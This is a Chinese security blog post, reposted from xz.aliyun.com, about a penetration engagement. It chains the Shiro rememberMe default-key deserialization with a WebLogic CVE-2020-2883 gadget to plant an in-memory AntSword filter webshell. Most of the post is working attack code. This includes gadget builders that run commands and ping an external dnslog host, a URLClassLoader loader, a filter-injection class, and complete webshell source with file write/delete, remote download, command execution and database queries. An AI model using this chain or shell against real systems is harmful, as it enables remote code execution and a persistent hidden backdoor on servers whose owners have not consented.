使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell
2020-08-31 10:51:02 Author: xz.aliyun.com(查看原文) 阅读量:808 收藏

在项目中碰到了Shiro的反序列化,用工具打发现没有成功,然后发现报错是weblogic的,想到了之前研究的WebLogic的几个CVE,遂对其展开研究。

本文涉及如下知识点:

  1. 如何判断shiro正确的key
  2. 构造CVE-2020-2883、CVE-2020-2555 gadget
  3. WebLogic 内存shell
  4. CVE-2020-2883加载字节码
  5. 如何实现Filter类型的蚁剑shell

阅读本文之前,建议先看已经完成好的项目:https://github.com/Y4er/WebLogic-Shiro-shell

两种思路

  1. 根据Shiro的正确逻辑构造正确的Object
  2. URLDNS判断

根据Shiro的正确逻辑构造正确的Object

一种思路是 @l1nk3r 师傅在 《一种另类的 shiro 检测方式》 提出来的,简单说一下。

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals

先获取cookie的bytes,然后进入convertBytesToPrincipals()

在这个方法中先解密byte数组,然后反序列化对象。

反序列化时强制转换为PrincipalCollection类型,那么我们构造一个空的PrincipalCollection对象,key错误时返回rememberMe=deleteMe,正确时不返回。

PrincipalCollection是一个接口,继承他的类有如图

SimplePrincipalCollection就是我们要用的,手动构造

package org.chabug.test;

import org.apache.shiro.subject.SimplePrincipalCollection;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;

import java.io.IOException;

public class ShiroKey {
    public static void main(String[] args) throws IOException {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        byte[] bytes = Serializables.serialize(simplePrincipalCollection);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }
}

key为kPH+bIxk5D2deZiIxcaaaA==正确时不返回deleteMe

错误时AAA+bIxk5D2deZiIxcaaaA==返回deleteMe

以此通过枚举key判断返回headers中是否出现了deleteMe即可。

URLDNS判断

很简单了,直接给代码

package org.chabug.test;

import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.URLDNS;

public class ShiroKey {
    public static void main(String[] args) throws Exception {
        URLDNS urldns = new URLDNS();
        Object object = urldns.getObject("http://oq287o.dnslog.cn");
        byte[] buf = Serializables.serialize(object);

        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
        System.out.println(rememberMe);
    }
}

key正确时会收到DNSLOG请求

到这里,实际项目中判断出来了key为默认的kPH+bIxk5D2deZiIxcaaaA==,使用DNSLOG也收到了请求,使用工具跑了一下发现没有可用的gadget。接下来就是根据CVE-2020-2883、CVE-2020-2555这两个CVE来构造gadget进行RCE。

根据之前的我分析过的payload拿过来,配上Shiro的加密就完事

package org.chabug.cve;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});        //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
        ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "ping test.oq287o.dnslog.cn"}});

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                reflectionExtractor1,
                reflectionExtractor2,
                reflectionExtractor3,
        };

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);

        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

        byte[] buf = Serializables.serialize(queue);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
        System.out.println(rememberMe);
    }
}

本机测试,很好收到了请求

因为目标是Linux,改成/bin/bash在测试也收到了dnslog请求,然后随手就是一个反弹shell,却发现死活反弹不回来,然后本地监听80、443、8080等常规端口,用curl、wget等命令触发http请求没收到,判断为只出DNS,难受了啊。

此时再想目标机器是WebLogic,可以直接写jsp,通过不断的dnslog回显,base64拼接截取判断找到了war所在的目录(这个过程简直恶心),写入txt、jsp、jspx均访问不到,难道是SpringMVC?试了多个目录均不行,并且发现目标机器是通过nginx反代WebLogic,内网中2台WebLogic做负载均衡,读的文件一会有一会没有,恶心,真的恶心,但是又不能不搞。

东西都访问不到,只能写内存马了呗,爷就不信搞不定。

作为一个渗透搬砖工程师,不会分析还不会抄? 关于WebLogic的内存shell如何实现就不分析了,直接抄宽字节安全的文章《weblogic 无文件webshell的技术研究》 最终实现了如下代码

import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

public class WebLogicEcho {
    static {
        try {
            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
            Method m = executeThread.getDeclaredMethod("getCurrentWork");
            Object currentWork = m.invoke(Thread.currentThread());

            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
            connectionHandlerF.setAccessible(true);
            Object obj = connectionHandlerF.get(currentWork);

            Field requestF = obj.getClass().getDeclaredField("request");
            requestF.setAccessible(true);
            obj = requestF.get(obj);

            Field contextF = obj.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(obj);

            Field classLoaderF = context.getClass().getDeclaredField("classLoader");
            classLoaderF.setAccessible(true);
            ClassLoader cl = (ClassLoader) classLoaderF.get(context);

            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
            cachedClassesF.setAccessible(true);
            Object cachedClass = cachedClassesF.get(cl);

            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
            if (getM.invoke(cachedClass, "shell") == null) {
                // this is your shell class byte code
                byte[] codeClass = new byte[]{22,22,2,2,2,2,2};
                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

                String evilName = "gameName" + System.currentTimeMillis();
                String filterName = "gameFilter" + System.currentTimeMillis();
                String[] url = new String[]{"/*"};

                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
                putM.invoke(cachedClass, filterName, evilFilterClass);
                Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
                Object filterManager = getFilterManagerM.invoke(context);

                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilterM.setAccessible(true);
                registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

宽字节安全的文章中采用的是base64+gzip的形式拿到shell,我是直接通过读文件的形式拿,因为我遇到了几个大坑,慢慢讲。

最开始的时候我是使用PythonInterpreter类加载WebLogicEcho.class字节码的形式,将我写的执行cmd命令的MyFilter的shell直接编译好,然后读取class字节码写入到codeClass数组中,编译什么的都顺利,就是发送过去之后,WebLogic会直接被打挂,多次调试之后发现是因为Python加载字节码数组太长了,导致溢出进程宕掉了。

可以,后来我用URLClassLoader,我把编译好的WebLogicEcho.class打个jar包,命令执行写入目标然后加载类可以了吧。很好,一切都没问题。代码长这样

package org.chabug.cve;

import org.chabug.utils.Serializables;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;

public class CVE_2020_2883_URLClassLoader {
    public static void main(String[] args) {
        try {
            ReflectionExtractor extractor1 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{URL[].class}}
            );

            // this jar is result of `jar cvf a.jar WebLogicEcho.class`
            ReflectionExtractor extractor2 = new ReflectionExtractor(
                    "newInstance",
//                    new Object[]{new Object[]{new URL[]{new URL("file:///tmp/tttt.jar")}}}
                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
            );

            // load filter shell
            ReflectionExtractor extractor3 = new ReflectionExtractor(
                    "loadClass",
                    new Object[]{"WebLogicEcho"}
            );

            ReflectionExtractor extractor4 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{}}
            );

            ReflectionExtractor extractor5 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{}}
            );


            ValueExtractor[] valueExtractors = new ValueExtractor[]{
                    extractor1,
                    extractor2,
                    extractor3,
                    extractor4,
                    extractor5,
            };
            Class clazz = ChainedExtractor.class.getSuperclass();
            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
            m_aExtractor.setAccessible(true);

            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                    reflectionExtractor
            };

            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
            queue.add("1");
            queue.add("1");
            m_aExtractor.set(chainedExtractor1, valueExtractors);

            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
            queueArray[0] = URLClassLoader.class;
            queueArray[1] = "1";

            byte[] buf = Serializables.serialize(queue);
            String key = "kPH+bIxk5D2deZiIxcaaaA==";
            String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
            System.out.println(rememberMe);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

tttt.jar是WebLogicEcho.class打的jar包。此时WebLogicEcho.class是执行命令的filter shell,shell实现可见 MyFilter.java

哎,都没问题,直接怼上去cmdshell。演示图如下:

A:命令执行的shell有什么用呢?就是多了个回显结果?爷想要更多的功能,你把哥斯拉shell给爷怼进去!
我:啊这?好嘞

不就是哥斯拉的shell吗,改一改就行,然后就打脸了。以下是哥斯拉shell的部分代码

try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", new String(data));
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }

其中pageContext在filter中是没有的,我搜遍了资料,问遍了师傅也没解决,然后准备退而求其次,实现一个冰蝎的shell,然后发现冰蝎也用到了pageContext.............算了 蚁剑吧。下面是我实现的蚁剑的Filter shell.

import javax.servlet.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.sql.*;
import java.text.SimpleDateFormat;

public class MyAntShellFilter implements Filter {
    String Pwd = "ant";   //连接密码
    // 数据编码 3 选 1
    String encoder = ""; // default
    // String encoder = "base64"; //base64
    // String encoder = "hex"; //hex
    String cs = "UTF-8"; // 脚本自身编码

    String EC(String s) throws Exception {
        if (encoder.equals("hex") || encoder == "hex") return s;
        return new String(s.getBytes("ISO-8859-1"), cs);
    }

    String showDatabases(String encode, String conn) throws Exception {
        String sql = "show databases"; // mysql
        String columnsep = "\t";
        String rowsep = "";
        return executeSQL(encode, conn, sql, columnsep, rowsep, false);
    }

    String showTables(String encode, String conn, String dbname) throws Exception {
        String sql = "show tables from " + dbname; // mysql
        String columnsep = "\t";
        String rowsep = "";
        return executeSQL(encode, conn, sql, columnsep, rowsep, false);
    }

    String showColumns(String encode, String conn, String dbname, String table) throws Exception {
        String columnsep = "\t";
        String rowsep = "";
        String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
        return executeSQL(encode, conn, sql, columnsep, rowsep, true);
    }

    String query(String encode, String conn, String sql) throws Exception {
        String columnsep = "\t|\t"; // general
        String rowsep = "\r\n";
        return executeSQL(encode, conn, sql, columnsep, rowsep, true);
    }

    String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
            throws Exception {
        String ret = "";
        conn = (EC(conn));
        String[] x = conn.trim().replace("\r\n", "\n").split("\n");
        Class.forName(x[0].trim());
        String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
        Connection c = DriverManager.getConnection(url);
        Statement stmt = c.createStatement();
        ResultSet rs = stmt.executeQuery(sql);
        ResultSetMetaData rsmd = rs.getMetaData();

        if (needcoluname) {
            for (int i = 1; i <= rsmd.getColumnCount(); i++) {
                String columnName = rsmd.getColumnName(i);
                ret += columnName + columnsep;
            }
            ret += rowsep;
        }

        while (rs.next()) {
            for (int i = 1; i <= rsmd.getColumnCount(); i++) {
                String columnValue = rs.getString(i);
                ret += columnValue + columnsep;
            }
            ret += rowsep;
        }
        return ret;
    }

    String WwwRootPathCode(ServletRequest r) throws Exception {
        String d = this.getClass().getClassLoader().getResource("/").getPath();
        String s = "";
        if (!d.substring(0, 1).equals("/")) {
            File[] roots = File.listRoots();
            for (int i = 0; i < roots.length; i++) {
                s += roots[i].toString().substring(0, 2) + "";
            }
        } else {
            s += "/";
        }
        return s;
    }

    String FileTreeCode(String dirPath) throws Exception {
        File oF = new File(dirPath), l[] = oF.listFiles();
        String s = "", sT, sQ, sF = "";
        java.util.Date dt;
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i = 0; i < l.length; i++) {
            dt = new java.util.Date(l[i].lastModified());
            sT = fm.format(dt);
            sQ = l[i].canRead() ? "R" : "";
            sQ += l[i].canWrite() ? " W" : "";
            if (l[i].isDirectory()) {
                s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
            } else {
                sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
            }
        }
        return s += sF;
    }

    String ReadFileCode(String filePath) throws Exception {
        String l = "", s = "";
        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
        while ((l = br.readLine()) != null) {
            s += l + "\r\n";
        }
        br.close();
        return s;
    }

    String WriteFileCode(String filePath, String fileContext) throws Exception {
        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
        bw.write(fileContext);
        bw.close();
        return "1";
    }

    String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
        File f = new File(fileOrDirPath);
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (int k = 0; k < x.length; k++) {
                if (!x[k].delete()) {
                    DeleteFileOrDirCode(x[k].getPath());
                }
            }
        }
        f.delete();
        return "1";
    }

    void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
        int n;
        byte[] b = new byte[512];
        r.reset();
        ServletOutputStream os = r.getOutputStream();
        BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
        os.write(("->|").getBytes(), 0, 3);
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.write(("|<-").getBytes(), 0, 3);
        os.close();
        is.close();
    }

    String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
        String h = "0123456789ABCDEF";
        File f = new File(savefilePath);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < fileHexContext.length(); i += 2) {
            os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
        }
        os.close();
        return "1";
    }

    String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
        File sf = new File(sourceFilePath), df = new File(targetFilePath);
        if (sf.isDirectory()) {
            if (!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for (int j = 0; j < z.length; j++) {
                CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
            }
        } else {
            FileInputStream is = new FileInputStream(sf);
            FileOutputStream os = new FileOutputStream(df);
            int n;
            byte[] b = new byte[1024];
            while ((n = is.read(b, 0, 1024)) != -1) {
                os.write(b, 0, n);
            }
            is.close();
            os.close();
        }
        return "1";
    }

    String RenameFileOrDirCode(String oldName, String newName) throws Exception {
        File sf = new File(oldName), df = new File(newName);
        sf.renameTo(df);
        return "1";
    }

    String CreateDirCode(String dirPath) throws Exception {
        File f = new File(dirPath);
        f.mkdir();
        return "1";
    }

    String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
        File f = new File(fileOrDirPath);
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        java.util.Date dt = fm.parse(aTime);
        f.setLastModified(dt.getTime());
        return "1";
    }

    String WgetCode(String urlPath, String saveFilePath) throws Exception {
        URL u = new URL(urlPath);
        int n = 0;
        FileOutputStream os = new FileOutputStream(saveFilePath);
        HttpURLConnection h = (HttpURLConnection) u.openConnection();
        InputStream is = h.getInputStream();
        byte[] b = new byte[512];
        while ((n = is.read(b)) != -1) {
            os.write(b, 0, n);
        }
        os.close();
        is.close();
        h.disconnect();
        return "1";
    }

    String SysInfoCode(ServletRequest r) throws Exception {
//        String d = r.getServletContext().getRealPath("/");
        String d = this.getClass().getClassLoader().getResource("/").getPath();
        String serverInfo = System.getProperty("os.name");
        String separator = File.separator;
        String user = System.getProperty("user.name");
        String driverlist = WwwRootPathCode(r);
        return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
    }

    boolean isWin() {
        String osname = System.getProperty("os.name");
        osname = osname.toLowerCase();
        if (osname.startsWith("win"))
            return true;
        return false;
    }

    String ExecuteCommandCode(String cmdPath, String command) throws Exception {
        StringBuffer sb = new StringBuffer("");
        String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
        Process p = Runtime.getRuntime().exec(c);
        CopyInputStream(p.getInputStream(), sb);
        CopyInputStream(p.getErrorStream(), sb);
        return sb.toString();
    }

    String decode(String str) {
        byte[] bt = null;
        try {
            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
            bt = decoder.decodeBuffer(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new String(bt);
    }

    String decode(String str, String encode) {
        if (encode.equals("hex") || encode == "hex") {
            if (str == "null" || str.equals("null")) {
                return "";
            }
            StringBuilder sb = new StringBuilder();
            StringBuilder temp = new StringBuilder();
            try {
                for (int i = 0; i < str.length() - 1; i += 2) {
                    String output = str.substring(i, (i + 2));
                    int decimal = Integer.parseInt(output, 16);
                    sb.append((char) decimal);
                    temp.append(decimal);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            return sb.toString();
        } else if (encode.equals("base64") || encode == "base64") {
            byte[] bt = null;
            try {
                sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
                bt = decoder.decodeBuffer(str);
            } catch (IOException e) {
                e.printStackTrace();
            }
            return new String(bt);
        }
        return str;
    }

    void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
        String l;
        BufferedReader br = new BufferedReader(new InputStreamReader(is));
        while ((l = br.readLine()) != null) {
            sb.append(l + "\r\n");
        }
        br.close();
    }

    public void init(FilterConfig f) throws ServletException {
    }


    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("size") != null) {
            response.setContentType("text/html");
            response.setCharacterEncoding(cs);
            StringBuffer sb = new StringBuffer("");
            try {
                String funccode = EC(request.getParameter(Pwd) + "");
                String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
                String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
                String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
                String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
                String[] pars = {z0, z1, z2, z3};
                sb.append("->|");

                if (funccode.equals("B")) {
                    sb.append(FileTreeCode(pars[1]));
                } else if (funccode.equals("C")) {
                    sb.append(ReadFileCode(pars[1]));
                } else if (funccode.equals("D")) {
                    sb.append(WriteFileCode(pars[1], pars[2]));
                } else if (funccode.equals("E")) {
                    sb.append(DeleteFileOrDirCode(pars[1]));
                } else if (funccode.equals("F")) {
                    DownloadFileCode(pars[1], response);
                } else if (funccode.equals("U")) {
                    sb.append(UploadFileCode(pars[1], pars[2]));
                } else if (funccode.equals("H")) {
                    sb.append(CopyFileOrDirCode(pars[1], pars[2]));
                } else if (funccode.equals("I")) {
                    sb.append(RenameFileOrDirCode(pars[1], pars[2]));
                } else if (funccode.equals("J")) {
                    sb.append(CreateDirCode(pars[1]));
                } else if (funccode.equals("K")) {
                    sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
                } else if (funccode.equals("L")) {
                    sb.append(WgetCode(pars[1], pars[2]));
                } else if (funccode.equals("M")) {
                    sb.append(ExecuteCommandCode(pars[1], pars[2]));
                } else if (funccode.equals("N")) {
                    sb.append(showDatabases(pars[0], pars[1]));
                } else if (funccode.equals("O")) {
                    sb.append(showTables(pars[0], pars[1], pars[2]));
                } else if (funccode.equals("P")) {
                    sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
                } else if (funccode.equals("Q")) {
                    sb.append(query(pars[0], pars[1], pars[2]));
                } else if (funccode.equals("A")) {
                    sb.append(SysInfoCode(request));
                }
            } catch (Exception e) {
                sb.append("ERROR" + "://" + e.toString());
                e.printStackTrace();
            }
            sb.append("|<-");
            response.getWriter().print(sb.toString());
        } else {
            chain.doFilter(request, response);
        }
    }

    public void destroy() {
    }
}

实现蚁剑Filter shell中踩坑发现在WebLogic中

String d = r.getServletContext().getRealPath("/")

这行代码获取的是空的,需要改为

String d = this.getClass().getClassLoader().getResource("/").getPath();

没问题了,编译,读字节码写入到codeClass byte数组中,然后问题又来了,编译不通过.....

codeClass字节码数组太长了,爷吐了。没关系,我写个方法,让他自己从本地读字节码,我通过命令执行把字节码写入就完事了。最终实现如下

import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

public class WebLogicEcho {
    static {
        try {
            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
            Method m = executeThread.getDeclaredMethod("getCurrentWork");
            Object currentWork = m.invoke(Thread.currentThread());

            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
            connectionHandlerF.setAccessible(true);
            Object obj = connectionHandlerF.get(currentWork);

            Field requestF = obj.getClass().getDeclaredField("request");
            requestF.setAccessible(true);
            obj = requestF.get(obj);

            Field contextF = obj.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(obj);

            Field classLoaderF = context.getClass().getDeclaredField("classLoader");
            classLoaderF.setAccessible(true);
            ClassLoader cl = (ClassLoader) classLoaderF.get(context);

            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
            cachedClassesF.setAccessible(true);
            Object cachedClass = cachedClassesF.get(cl);

            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
            if (getM.invoke(cachedClass, "shell") == null) {
//                byte[] codeClass = getBytesByFile("/tmp/MyAntShellFilter.class");
                byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/MyAntShellFilter.class");
                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

                String evilName = "gameName" + System.currentTimeMillis();
                String filterName = "gameFilter" + System.currentTimeMillis();
                String[] url = new String[]{"/*"};

                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
                putM.invoke(cachedClass, filterName, evilFilterClass);
                Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
                Object filterManager = getFilterManagerM.invoke(context);

                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilterM.setAccessible(true);
                registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static byte[] getBytesByFile(String pathStr) {
        File file = new File(pathStr);
        try {
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
            byte[] b = new byte[1000];
            int n;
            while ((n = fis.read(b)) != -1) {
                bos.write(b, 0, n);
            }
            fis.close();
            byte[] data = bos.toByteArray();
            bos.close();
            return data;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

捋一下,把MyAntShellFilter.class写入到目标,WebLogicEcho.class打成jar包写入目标,然后CVE_2020_2883_URLClassLoader生成rememberMe的cookie,蚁剑链接,成了!

文字能表现出来的东西很表面,因为实际环境中碰到的难题我很难用文字去描述出来,其实当时反代的问题就困扰了我们好久。不过总算历时两周的研究,终于搞定了项目,期间抄的代码无数,很难,但是蚁剑链接success的时候心里的激动是无与伦比的,踩得坑好像也不算什么了。或许这就是平凡的搞站生活中一点点不可多得的喜悦吧。

  1. https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
  2. https://www.cnblogs.com/potatsoSec/p/13162792.html
  3. https://github.com/Y4er/WebLogic-Shiro-shell

特别感谢宽字节团队@蛋黄


文章来源: http://xz.aliyun.com/t/8202
如有侵权请联系:admin#unsafe.sh